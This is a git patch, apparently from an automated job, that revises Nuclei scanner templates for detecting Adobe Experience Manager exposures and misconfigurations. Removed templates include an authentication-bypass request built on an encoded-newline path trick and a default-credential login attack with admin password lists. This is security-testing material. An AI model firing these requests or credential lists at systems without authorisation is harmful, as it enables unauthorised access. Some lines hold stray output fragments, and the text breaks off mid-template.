From ca615f673ede5db0887ed1a95e0205b14aaa4403 Mon Sep 17 00:00:00 2001
From: GitHub Action
Flushing output
'
\ No newline at end of file
diff --git a/poc/adobe/aem-bg-servlet-129.yaml b/poc/adobe/aem-bg-servlet-129.yaml
index b751c4f52a..3fa1629768 100644
--- a/poc/adobe/aem-bg-servlet-129.yaml
+++ b/poc/adobe/aem-bg-servlet-129.yaml
@@ -1,17 +1,13 @@
id: aem-bg-servlet
info:
- name: AEM BG-Servlets
author: DhiyaneshDk
+ name: AEM BG-Servlets
severity: info
- reference:
- - https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212
- metadata:
- max-request: 1
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,misconfig
+ reference: https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212
+ tags: aem
-http:
+requests:
- method: GET
path:
- '{{BaseURL}}/system/bgservlets/test.css'
@@ -24,6 +20,4 @@ http:
- type: word
words:
- - '
Flushing output
'
-
-# digest: 4a0a00473045022011679f68ea9ea8736dfbf616cd843e2cd2a218f0f4d79653b8e1b3f66e88310a022100e65d71edf92b948507e7fd6c201b5804ca45fc3c262753fe9804347322869acf:922c64590222798bb761d5b6d8e72950
+ - '
Flushing output
'
\ No newline at end of file
diff --git a/poc/adobe/aem-cached-pages.yaml b/poc/adobe/aem-cached-pages.yaml
index 6a36c8d2b3..cba756b341 100644
--- a/poc/adobe/aem-cached-pages.yaml
+++ b/poc/adobe/aem-cached-pages.yaml
@@ -4,22 +4,31 @@ info:
name: Invalidate / Flush Cached Pages on AEM
author: hetroublemakr
severity: low
- tags: aem
- reference: https://twitter.com/AEMSecurity/status/1244965623689609217
+ reference:
+ - https://twitter.com/AEMSecurity/status/1244965623689609217
+ metadata:
+ max-request: 1
+ shodan-query: http.component:"Adobe Experience Manager"
+ tags: aem,misconfig
-requests:
+http:
- method: GET
path:
- "{{BaseURL}}/dispatcher/invalidate.cache"
+
headers:
CQ-Handle: /content
CQ-Path: /content
+
matchers-condition: and
matchers:
- type: word
+ part: body
words:
- "OK
"
- part: body
+
- type: status
status:
- 200
+
+# digest: 4a0a00473045022100fa449369a6b6a19ef08cfa7a83f341000fcbeff5f0fe0b11f236a2463c6fc27802204261447eae5853abfbe57ff0be79318ab2cb59f47717c548474bb6f5e8225959:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-crx-bypass-132.yaml b/poc/adobe/aem-crx-bypass-132.yaml
deleted file mode 100644
index 37c05f023d..0000000000
--- a/poc/adobe/aem-crx-bypass-132.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-id: aem-crx-bypass
-
-info:
- name: AEM Package Manager - Authentication Bypass
- author: dhiyaneshDK
- severity: critical
- description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.
- remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages."
- reference:
- - https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
- metadata:
- max-request: 2
- shodan-query: http.component:"Adobe Experience Manager"
- tags: aem,adobe,misconfig
-
-http:
- - raw:
- - |
- GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
- Host: {{Hostname}}
- Referer: {{BaseURL}}
- Accept-Encoding: gzip, deflate
- - |
- GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
- Host: {{Hostname}}
- Referer: {{BaseURL}}
- Accept-Encoding: gzip, deflate
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - 'buildCount'
- - 'downloadName'
- - 'acHandling'
- condition: and
-
- - type: word
- part: header
- words:
- - 'application/json'
-
- - type: status
- status:
- - 200
-
-# digest: 490a0046304402206a620fb735ebddf2d38e66617f652a1d1f980bfc98b77c0784066538fcc3193c022062a511eed56f5bd9e0eaf2f93bf17a079e6c673676cbae5e2d506e72a96f084c:922c64590222798bb761d5b6d8e72950
diff --git a/poc/adobe/aem-default-get-servlet-136.yaml b/poc/adobe/aem-default-get-servlet-136.yaml
deleted file mode 100644
index 274b345439..0000000000
--- a/poc/adobe/aem-default-get-servlet-136.yaml
+++ /dev/null
@@ -1,91 +0,0 @@
-id: aem-default-get-servlet
-
-info:
- name: AEM DefaultGetServlet
- author: DhiyaneshDk
- severity: low
- description: Sensitive information might be exposed via AEM DefaultGetServlet.
- reference:
- - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
- - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java
- tags: aem,adobe
-
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/etc'
- - '{{BaseURL}}/var'
- - '{{BaseURL}}/apps'
- - '{{BaseURL}}/home'
- - '{{BaseURL}}///etc'
- - '{{BaseURL}}///var'
- - '{{BaseURL}}///apps'
- - '{{BaseURL}}///home'
- - '{{BaseURL}}/.json'
- - '{{BaseURL}}/.1.json'
- - '{{BaseURL}}/....4.2.1....json'
- - '{{BaseURL}}/.json?FNZ.css'
- - '{{BaseURL}}/.json?FNZ.ico'
- - '{{BaseURL}}/.json?FNZ.html'
- - '{{BaseURL}}/.json/FNZ.css'
- - '{{BaseURL}}/.json/FNZ.html'
- - '{{BaseURL}}/.json/FNZ.png'
- - '{{BaseURL}}/.json/FNZ.ico'
- - '{{BaseURL}}/.children.1.json'
- - '{{BaseURL}}/.children....4.2.1....json'
- - '{{BaseURL}}/.children.json?FNZ.css'
- - '{{BaseURL}}/.children.json?FNZ.ico'
- - '{{BaseURL}}/.children.json?FNZ.html'
- - '{{BaseURL}}/.children.json/FNZ.css'
- - '{{BaseURL}}/.children.json/FNZ.html'
- - '{{BaseURL}}/.children.json/FNZ.png'
- - '{{BaseURL}}/.children.json/FNZ.ico'
- - '{{BaseURL}}/etc.json'
- - '{{BaseURL}}/etc.1.json'
- - '{{BaseURL}}/etc....4.2.1....json'
- - '{{BaseURL}}/etc.json?FNZ.css'
- - '{{BaseURL}}/etc.json?FNZ.ico'
- - '{{BaseURL}}/etc.json?FNZ.html'
- - '{{BaseURL}}/etc.json/FNZ.css'
- - '{{BaseURL}}/etc.json/FNZ.html'
- - '{{BaseURL}}/etc.json/FNZ.ico'
- - '{{BaseURL}}/etc.children.json'
- - '{{BaseURL}}/etc.children.1.json'
- - '{{BaseURL}}/etc.children....4.2.1....json'
- - '{{BaseURL}}/etc.children.json?FNZ.css'
- - '{{BaseURL}}/etc.children.json?FNZ.ico'
- - '{{BaseURL}}/etc.children.json?FNZ.html'
- - '{{BaseURL}}/etc.children.json/FNZ.css'
- - '{{BaseURL}}/etc.children.json/FNZ.html'
- - '{{BaseURL}}/etc.children.json/FNZ.png'
- - '{{BaseURL}}/etc.children.json/FNZ.ico'
- - '{{BaseURL}}///etc.json'
- - '{{BaseURL}}///etc.1.json'
- - '{{BaseURL}}///etc....4.2.1....json'
- - '{{BaseURL}}///etc.json?FNZ.css'
- - '{{BaseURL}}///etc.json?FNZ.ico'
- - '{{BaseURL}}///etc.json/FNZ.html'
- - '{{BaseURL}}///etc.json/FNZ.png'
- - '{{BaseURL}}///etc.json/FNZ.ico'
- - '{{BaseURL}}///etc.children.json'
- - '{{BaseURL}}///etc.children.1.json'
- - '{{BaseURL}}///etc.children....4.2.1....json'
- - '{{BaseURL}}///etc.children.json?FNZ.css'
- - '{{BaseURL}}///etc.children.json?FNZ.ico'
- - '{{BaseURL}}///etc.children.json?FNZ.html'
- - '{{BaseURL}}///etc.children.json/FNZ.css'
- - '{{BaseURL}}///etc.children.json/FNZ.html'
- - '{{BaseURL}}///etc.children.json/FNZ.png'
- - '{{BaseURL}}///etc.children.json/FNZ.ico'
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- words:
- - 'jcr:createdBy'
- condition: and
diff --git a/poc/adobe/aem-default-get-servlet-137.yaml b/poc/adobe/aem-default-get-servlet-137.yaml
new file mode 100644
index 0000000000..d3546ab204
--- /dev/null
+++ b/poc/adobe/aem-default-get-servlet-137.yaml
@@ -0,0 +1,78 @@
+id: aem-default-get-servlet
+info:
+ author: DhiyaneshDk
+ name: AEM DefaultGetServlet
+ severity: low
+ reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
+ tags: aem
+
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/.json'
+ - '{{BaseURL}}/.1.json'
+ - '{{BaseURL}}/....4.2.1....json'
+ - '{{BaseURL}}/.json?FNZ.css'
+ - '{{BaseURL}}/.json?FNZ.ico'
+ - '{{BaseURL}}/.json?FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.css'
+ - '{{BaseURL}}/.json/FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.png'
+ - '{{BaseURL}}/.json/FNZ.ico'
+ - '{{BaseURL}}/.children.1.json'
+ - '{{BaseURL}}/.children....4.2.1....json'
+ - '{{BaseURL}}/.children.json?FNZ.css'
+ - '{{BaseURL}}/.children.json?FNZ.ico'
+ - '{{BaseURL}}/.children.json?FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.css'
+ - '{{BaseURL}}/.children.json/FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.png'
+ - '{{BaseURL}}/.children.json/FNZ.ico'
+ - '{{BaseURL}}/etc.json'
+ - '{{BaseURL}}/etc.1.json'
+ - '{{BaseURL}}/etc....4.2.1....json'
+ - '{{BaseURL}}/etc.json?FNZ.css'
+ - '{{BaseURL}}/etc.json?FNZ.ico'
+ - '{{BaseURL}}/etc.json?FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.css'
+ - '{{BaseURL}}/etc.json/FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.ico'
+ - '{{BaseURL}}/etc.children.json'
+ - '{{BaseURL}}/etc.children.1.json'
+ - '{{BaseURL}}/etc.children....4.2.1....json'
+ - '{{BaseURL}}/etc.children.json?FNZ.css'
+ - '{{BaseURL}}/etc.children.json?FNZ.ico'
+ - '{{BaseURL}}/etc.children.json?FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.css'
+ - '{{BaseURL}}/etc.children.json/FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.png'
+ - '{{BaseURL}}/etc.children.json/FNZ.ico'
+ - '{{BaseURL}}///etc.json'
+ - '{{BaseURL}}///etc.1.json'
+ - '{{BaseURL}}///etc....4.2.1....json'
+ - '{{BaseURL}}///etc.json?FNZ.css'
+ - '{{BaseURL}}///etc.json?FNZ.ico'
+ - '{{BaseURL}}///etc.json/FNZ.html'
+ - '{{BaseURL}}///etc.json/FNZ.png'
+ - '{{BaseURL}}///etc.json/FNZ.ico'
+ - '{{BaseURL}}///etc.children.json'
+ - '{{BaseURL}}///etc.children.1.json'
+ - '{{BaseURL}}///etc.children....4.2.1....json'
+ - '{{BaseURL}}///etc.children.json?FNZ.css'
+ - '{{BaseURL}}///etc.children.json?FNZ.ico'
+ - '{{BaseURL}}///etc.children.json?FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.css'
+ - '{{BaseURL}}///etc.children.json/FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.png'
+ - '{{BaseURL}}///etc.children.json/FNZ.ico'
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'jcr:createdBy'
+ condition: and
diff --git a/poc/adobe/aem-default-get-servlet-138.yaml b/poc/adobe/aem-default-get-servlet-138.yaml
new file mode 100644
index 0000000000..7186c2256f
--- /dev/null
+++ b/poc/adobe/aem-default-get-servlet-138.yaml
@@ -0,0 +1,80 @@
+id: aem-default-get-servlet
+info:
+ author: DhiyaneshDk
+ name: AEM DefaultGetServlet
+ severity: low
+ reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
+ tags: aem
+
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/.json'
+ - '{{BaseURL}}/.1.json'
+ - '{{BaseURL}}/....4.2.1....json'
+ - '{{BaseURL}}/.json?FNZ.css'
+ - '{{BaseURL}}/.json?FNZ.ico'
+ - '{{BaseURL}}/.json?FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.css'
+ - '{{BaseURL}}/.json/FNZ.html'
+ - '{{BaseURL}}/.json/FNZ.png'
+ - '{{BaseURL}}/.json/FNZ.ico'
+ - '{{BaseURL}}/.children.1.json'
+ - '{{BaseURL}}/.children....4.2.1....json'
+ - '{{BaseURL}}/.children.json?FNZ.css'
+ - '{{BaseURL}}/.children.json?FNZ.ico'
+ - '{{BaseURL}}/.children.json?FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.css'
+ - '{{BaseURL}}/.children.json/FNZ.html'
+ - '{{BaseURL}}/.children.json/FNZ.png'
+ - '{{BaseURL}}/.children.json/FNZ.ico'
+ - '{{BaseURL}}/etc.json'
+ - '{{BaseURL}}/etc.1.json'
+ - '{{BaseURL}}/etc....4.2.1....json'
+ - '{{BaseURL}}/etc.json?FNZ.css'
+ - '{{BaseURL}}/etc.json?FNZ.ico'
+ - '{{BaseURL}}/etc.json?FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.css'
+ - '{{BaseURL}}/etc.json/FNZ.html'
+ - '{{BaseURL}}/etc.json/FNZ.ico'
+ - '{{BaseURL}}/etc.children.json'
+ - '{{BaseURL}}/etc.children.1.json'
+ - '{{BaseURL}}/etc.children....4.2.1....json'
+ - '{{BaseURL}}/etc.children.json?FNZ.css'
+ - '{{BaseURL}}/etc.children.json?FNZ.ico'
+ - '{{BaseURL}}/etc.children.json?FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.css'
+ - '{{BaseURL}}/etc.children.json/FNZ.html'
+ - '{{BaseURL}}/etc.children.json/FNZ.png'
+ - '{{BaseURL}}/etc.children.json/FNZ.ico'
+ - '{{BaseURL}}///etc.json'
+ - '{{BaseURL}}///etc.1.json'
+ - '{{BaseURL}}///etc....4.2.1....json'
+ - '{{BaseURL}}///etc.json?FNZ.css'
+ - '{{BaseURL}}///etc.json?FNZ.ico'
+ - '{{BaseURL}}///etc.json/FNZ.html'
+ - '{{BaseURL}}///etc.json/FNZ.png'
+ - '{{BaseURL}}///etc.json/FNZ.ico'
+ - '{{BaseURL}}///etc.children.json'
+ - '{{BaseURL}}///etc.children.1.json'
+ - '{{BaseURL}}///etc.children....4.2.1....json'
+ - '{{BaseURL}}///etc.children.json?FNZ.css'
+ - '{{BaseURL}}///etc.children.json?FNZ.ico'
+ - '{{BaseURL}}///etc.children.json?FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.css'
+ - '{{BaseURL}}///etc.children.json/FNZ.html'
+ - '{{BaseURL}}///etc.children.json/FNZ.png'
+ - '{{BaseURL}}///etc.children.json/FNZ.ico'
+
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'jcr:createdBy'
+ condition: and
diff --git a/poc/adobe/aem-default-get-servlet-139.yaml b/poc/adobe/aem-default-get-servlet-139.yaml
index 7186c2256f..274b345439 100644
--- a/poc/adobe/aem-default-get-servlet-139.yaml
+++ b/poc/adobe/aem-default-get-servlet-139.yaml
@@ -1,15 +1,26 @@
id: aem-default-get-servlet
+
info:
- author: DhiyaneshDk
name: AEM DefaultGetServlet
+ author: DhiyaneshDk
severity: low
- reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
- tags: aem
-
+ description: Sensitive information might be exposed via AEM DefaultGetServlet.
+ reference:
+ - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
+ - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java
+ tags: aem,adobe
requests:
- method: GET
path:
+ - '{{BaseURL}}/etc'
+ - '{{BaseURL}}/var'
+ - '{{BaseURL}}/apps'
+ - '{{BaseURL}}/home'
+ - '{{BaseURL}}///etc'
+ - '{{BaseURL}}///var'
+ - '{{BaseURL}}///apps'
+ - '{{BaseURL}}///home'
- '{{BaseURL}}/.json'
- '{{BaseURL}}/.1.json'
- '{{BaseURL}}/....4.2.1....json'
diff --git a/poc/adobe/aem-default-login-141.yaml b/poc/adobe/aem-default-login-140.yaml
similarity index 100%
rename from poc/adobe/aem-default-login-141.yaml
rename to poc/adobe/aem-default-login-140.yaml
diff --git a/poc/adobe/aem-default-login.yaml b/poc/adobe/aem-default-login.yaml
deleted file mode 100644
index 8072025a73..0000000000
--- a/poc/adobe/aem-default-login.yaml
+++ /dev/null
@@ -1,56 +0,0 @@
-id: aem-default-login
-
-info:
- name: Adobe AEM Default Login
- author: random-robbie
- severity: high
- description: Adobe AEM default login credentials were discovered.
- reference:
- - https://experienceleague.adobe.com/docs/experience-manager-64/administering/security/security-checklist.html?lang=en
- classification:
- cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
- cvss-score: 8.3
- cwe-id: CWE-522
- tags: aem,default-login,adobe
-
-
-requests:
- - raw:
- - |
- POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Origin: {{BaseURL}}
- Referer: {{BaseURL}}/libs/granite/core/content/login.html
-
- _charset_=utf-8&j_username={{aem_user}}&j_password={{aem_pass}}&j_validate=true
-
- attack: pitchfork
- payloads:
- aem_user:
- - admin
- - grios
- - replication-receiver
- - vgnadmin
-
- aem_pass:
- - admin
- - password
- - replication-receiver
- - vgnadmin
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- part: header
- condition: and
- words:
- - login-token
- - crx.default
-
-# Enhanced by mp on 2022/03/23
diff --git a/poc/adobe/aem-detection-145.yaml b/poc/adobe/aem-detection-145.yaml
new file mode 100644
index 0000000000..bb3d7e0753
--- /dev/null
+++ b/poc/adobe/aem-detection-145.yaml
@@ -0,0 +1,28 @@
+id: aem-detection
+
+info:
+ name: Favicon based AEM Detection
+ author: shifacyclewala,hackergautam
+ severity: info
+ reference:
+ - https://twitter.com/brsn76945860/status/1171233054951501824
+ - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
+ - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
+ - https://github.com/devanshbatham/FavFreak
+ - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
+ metadata:
+ shodan-query: http.component:"Adobe Experience Manager"
+ tags: aem,favicon,tech,adobe
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
+
+ redirects: true
+ max-redirects: 2
+
+ matchers:
+ - type: dsl
+ dsl:
+ - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
diff --git a/poc/adobe/aem-detection-146.yaml b/poc/adobe/aem-detection-146.yaml
deleted file mode 100644
index 421bb35f54..0000000000
--- a/poc/adobe/aem-detection-146.yaml
+++ /dev/null
@@ -1,28 +0,0 @@
-id: aem-detection
-
-info:
- name: Favicon based AEM Detection
- severity: info
- author: shifacyclewala,hackergautam
- tags: aem,favicon,tech
- reference:
- - https://twitter.com/brsn76945860/status/1171233054951501824
- - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
- - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
- - https://github.com/devanshbatham/FavFreak
- - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
- metadata:
- shodan-query: http.component:"Adobe Experience Manager"
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
-
- redirects: true
- max-redirects: 2
-
- matchers:
- - type: dsl
- dsl:
- - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
\ No newline at end of file
diff --git a/poc/adobe/aem-gql-servlet-147.yaml b/poc/adobe/aem-gql-servlet-147.yaml
index b4c553151b..36a597b300 100644
--- a/poc/adobe/aem-gql-servlet-147.yaml
+++ b/poc/adobe/aem-gql-servlet-147.yaml
@@ -1,46 +1,17 @@
id: aem-gql-servlet
info:
- author: dhiyaneshDk,prettyboyaaditya
+ author: DhiyaneshDk
name: AEM GQLServlet
severity: low
reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
tags: aem
+
requests:
- method: GET
path:
- '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
- - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix='
- - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix='
-
- stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
diff --git a/poc/adobe/aem-gql-servlet-149.yaml b/poc/adobe/aem-gql-servlet-149.yaml
new file mode 100644
index 0000000000..977dc70f75
--- /dev/null
+++ b/poc/adobe/aem-gql-servlet-149.yaml
@@ -0,0 +1,56 @@
+id: aem-gql-servlet
+
+info:
+ name: AEM GQLServlet
+ author: dhiyaneshDk,prettyboyaaditya
+ severity: low
+ reference:
+ - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
+ tags: aem
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
+ - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix='
+ - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix='
+
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'excerpt'
+ - 'path'
+ - 'hits'
+ condition: and
diff --git a/poc/adobe/aem-gql-servlet-150.yaml b/poc/adobe/aem-gql-servlet-150.yaml
deleted file mode 100644
index 36a597b300..0000000000
--- a/poc/adobe/aem-gql-servlet-150.yaml
+++ /dev/null
@@ -1,26 +0,0 @@
-id: aem-gql-servlet
-
-info:
- author: DhiyaneshDk
- name: AEM GQLServlet
- severity: low
- reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
- tags: aem
-
-
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico'
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- words:
- - 'excerpt'
- - 'path'
- - 'hits'
- condition: and
diff --git a/poc/adobe/aem-groovyconsole-153.yaml b/poc/adobe/aem-groovyconsole-153.yaml
new file mode 100644
index 0000000000..2d05325869
--- /dev/null
+++ b/poc/adobe/aem-groovyconsole-153.yaml
@@ -0,0 +1,37 @@
+id: aem-groovyconsole
+
+info:
+ name: AEM Groovy Console Discovery
+ author: Dheerajmadhukar
+ severity: critical
+ description: An Adobe Experience Manager Groovy console was discovered. This can possibly lead to remote code execution.
+ reference:
+ - https://hackerone.com/reports/672243
+ - https://twitter.com/XHackerx007/status/1435139576314671105
+ tags: aem,adobe
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/groovyconsole"
+ - "{{BaseURL}}/etc/groovyconsole.html"
+ headers:
